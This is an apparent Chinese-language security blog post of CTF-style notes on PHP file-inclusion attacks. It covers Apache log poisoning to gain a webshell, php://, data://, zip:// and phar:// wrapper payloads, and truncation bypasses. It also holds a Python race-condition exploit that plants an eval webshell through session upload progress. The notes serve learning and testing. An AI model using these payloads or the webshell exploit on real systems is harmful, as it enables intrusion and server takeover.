文件包含-笔记

PHP文件包含函数

  • include() :执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require() :只要程序一运行就包含文件,找不到被包含文件时会产生致命错误,并停止脚本执行
  • include_once() : 若文件中代码已被包含,则不会再次被包含
  • require_once() :若文件中代码已被包含,则不会再次被包含

php的ini

1
2
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

日志包含

  当访问一个不存在的资源时,Apache同样会记录下来,这就意味着,如果网站存在包含漏洞,却没有可以包含的文件时(通常指的是网页中的木马文件),就可以去访问URL:http://www.any.com/,虽然说网页上提示您没有访问的权限,但是Apache会记录我们的请求“”,并写到access.log文件中,这时候再去包含Apache的日志文件,不就可以利用文件包含了吗?

  但实际上是不行的,原因是访问URL后,一句话在日志文件里“变形了”,我们需要抓包 将浏览器所转的编码改回原来的字符(<,>还有空格都会被转义 所以需要抓包更改回来 )
然后中国菜刀连接日志文件就可以获取到网站webshell

  • 常用日志目录:
    • /var/log/

php伪协议

  • file://

    • php5.2以上
    • allow_url_fopen: off/on
    • allow_url_include: off/on
    • 说明:file:// 文件系统是 PHP使用的默认封装协议,展现了本地文件系统
    • 用法:
      • ?file=file://路径/xx.txt
  • php://

    • php5.2以上

    • allow_url_fopen: off/on

    • allow_url_include: 仅php://input php://stdin php://memory php://temp 需要on

    • 作用:作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

    • 分类:

      • php://input
         可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

        • 用法:php://input + [POST DATA]执行php代码
        1
        2
        3
        http://127.0.0.1/include.php?file=php://input
        [POST DATA部分]
        <?php phpinfo(); ?>
      • php://output
         只写的数据流,允许以print和echo一样的方式写入到输出缓冲区。

      • php://fd
         (>=5.3.6)允许直接访问指定的文件描述符.例如php://fd/3 引用了文件描述符 3。

      • php://memory php://temp
         (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。

      • php://filter  (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

        • 参数:

          • resource=<要过滤的数据流>:必须项。它指定了你要筛选过滤的数据流。
          • read=<读链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符( * \ *)分隔。
          • write=<写链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。
          • <; 两个链的过滤器>:任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
        • 过滤器:

          • string.rot13 等同于str_rot13(),rot13变换
          • string.toupper 等同于strtoupper(),转大写字母
          • string.tolower 等同于strtolower(),转小写字母
          • string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
        • 转换过滤器:

          • convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码
          • convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
        • 用法:php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

        1
        http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • zip:// & bzip2:// & zlib://

    • php5.2以上

    • allow_url_fopen: off/on

    • allow_url_include: off/on

    • 说明:fzip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。\

    • 用法:

      • zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip,压缩包重命名为 phpinfo.jpg ,并上传
      1
      http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
      • compress.bzip2://file.bz2 压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
      1
      http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
      • compress.zlib://file.gz 压缩 phpinfo.txt 为 phpinfo.gz并上传(同样支持任意后缀名)
      1
      http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
  • data://

    • php5.2以上

    • allow_url_fopen: on

    • allow_url_include: on

    • 说明:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

    • 用法:

      • data://text/plain, or data:text/plain,
      1
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
      • data://text/plain;base64, or data:text/plain;base64,
      1
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
  • http:// and https://

    • allow_url_fopen: on
    • allow_url_include: on
    • 用法:
    1
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
  • phar:// 协议

    • phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
    1
    http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

seesion包含+条件竞争

PHPSESSID必须要有,因为要竞争同一个文件
filename可控,但是在值的最前面加上|,因为最终目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS只是个跳板。其次把字符串中的双引号转义,以防止与最外层的双引号冲突
上传的文件要大些,否则很难竞争成功。我写入是这么大f = io.BytesIO(b’a’ * 1024 10241)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re
import threading
import io
import sys

seesion_id="xxx"
url="http://domain:port/"
def Write(session):
while True:
f=io.BytesIO(b'a'*1024*50)
res = session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat ../*');fputs(fopen('shell.php','w'),'<?php @eval($_POST[QQQ])?>');?>"},
files={"file":('q.txt',f)},
cookies={'PHPSESSID':seesion_id}
)

def Read(session):
while True:
resp=session.get(url+'upload/index.php') #访问的链接
if 'flag' not in resp.text:
print('[+++]retry')
else:
print(resp.text)
sys.exit(0)

with requests.session() as session:
t1 = threading.Thread(target=Write , args=(session, ))
t1.daemon = True
t1.start()
Read(session)

绕过技巧

当碰到后缀名写死的情况 如:

1
2
3
4
5
6
7
8
<?php

$file = $_GET['name'];
if(isset($file)){
include($file . ".txt");//只让我们包含txt文件
}

?>

%00 截断 (特定版本)

  • 条件:magic_quotes_gpc = Off php版本<5.3.4
  • 如:?name=http://127.0.0.1/ss.php%00

路径长度截断

  • 条件:windows OS,点号需要长于256;linux OS 长于4096

  • Windows下目录最大长度为256字节,超出的部分会被丢弃; Linux下目录最大长度为4096字节,超出的部分会被丢弃。

  • exp:

    1
    ?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

  • 条件:windows OS,点号需要长于256

  • exp:

    1
    filename=test.txt.........................................

问号绕过

  • 属于伪截断,不受GPC和PHP版本限制(<5.2.8)
  • exp ?filename=http://127.0.0.1/php.txt?

#号绕过

  • ?filename=http://127.0.0.1/php.txt#

文件包含-笔记
https://coutcin-xw.github.io/2022/04/23/文件包含-笔记/
作者
CoutCin
发布于
2022年4月23日
许可协议